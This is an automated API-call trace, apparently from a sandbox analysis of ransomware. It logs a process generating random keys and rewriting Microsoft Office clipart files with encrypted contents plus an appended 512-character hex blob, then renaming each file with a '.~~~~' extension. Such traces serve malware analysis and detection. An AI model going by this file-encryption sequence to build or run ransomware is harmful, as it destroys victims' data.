	[0091.537] WriteFile (in: hFile=0x118, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x2b90, lpOverlapped=0x0) returned 1
	[0091.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.540] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.540] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.540] CloseHandle (hObject=0x118) returned 1
	[0091.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.~~~~")) returned 1
	[0091.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.558] GetLastError () returned 0x0
	[0091.565] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.577] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.577] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.578] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21156765494) returned 1
	[0091.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa05bd930, dwHighDateTime=0x1d60e1e)) 
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386c70
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386c70 | out: hHeap=0x300000) returned 1
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385968
	[0091.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.578] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.578] GetLastError () returned 0x0
	[0091.578] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.578] GetLastError () returned 0x0
	[0091.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffb78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.581] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x488, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x488, lpOverlapped=0x0) returned 1
	[0091.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.582] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.582] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.582] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.582] CloseHandle (hObject=0x12c) returned 1
	[0091.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.582] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.~~~~")) returned 1
	[0091.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.583] GetLastError () returned 0x0
	[0091.583] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.584] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.584] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.584] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21157429078) returned 1
	[0091.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa05e3a90, dwHighDateTime=0x1d60e1e)) 
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ca8
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ca8 | out: hHeap=0x300000) returned 1
	[0091.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3858d0
	[0091.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.585] GetLastError () returned 0x0
	[0091.585] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.585] GetLastError () returned 0x0
	[0091.586] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8932, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.587] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x76ce, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x76ce, lpOverlapped=0x0) returned 1
	[0091.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.587] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.587] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.587] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.587] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.587] CloseHandle (hObject=0x12c) returned 1
	[0091.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.~~~~")) returned 1
	[0091.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.588] GetLastError () returned 0x0
	[0091.589] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.590] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.590] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.590] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21158020888) returned 1
	[0091.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa05e3a90, dwHighDateTime=0x1d60e1e)) 
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ce0
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ce0 | out: hHeap=0x300000) returned 1
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385a98
	[0091.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.591] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.591] GetLastError () returned 0x0
	[0091.591] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.591] GetLastError () returned 0x0
	[0091.593] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffb9fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.593] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x4604, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x4604, lpOverlapped=0x0) returned 1
	[0091.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.593] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.593] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.593] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.593] CloseHandle (hObject=0x12c) returned 1
	[0091.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.~~~~")) returned 1
	[0091.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.594] GetLastError () returned 0x0
	[0091.595] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.596] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.596] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.596] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21158620785) returned 1
	[0091.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0609bf0, dwHighDateTime=0x1d60e1e)) 
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386d18
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386d18 | out: hHeap=0x300000) returned 1
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385b30
	[0091.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.597] GetLastError () returned 0x0
	[0091.597] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.597] GetLastError () returned 0x0
	[0091.599] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff8634, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.599] WriteFile (in: hFile=0x12c, lpBuffer=0x28f0050*, nNumberOfBytesToWrite=0x79cc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f0050*, lpNumberOfBytesWritten=0x25dfec0*=0x79cc, lpOverlapped=0x0) returned 1
	[0091.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f0050 | out: hHeap=0x300000) returned 1
	[0091.600] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.600] WriteFile (in: hFile=0x12c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.600] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.600] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.600] CloseHandle (hObject=0x12c) returned 1
	[0091.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.~~~~")) returned 1
	[0091.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.601] GetLastError () returned 0x0
	[0091.601] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0091.602] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.602] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.602] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21159250736) returned 1
	[0091.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0609bf0, dwHighDateTime=0x1d60e1e)) 
	[0091.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386d88
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386d88 | out: hHeap=0x300000) returned 1
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385bc8
	[0091.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.603] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0091.603] GetLastError () returned 0x0
	[0091.603] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0091.603] GetLastError () returned 0x0
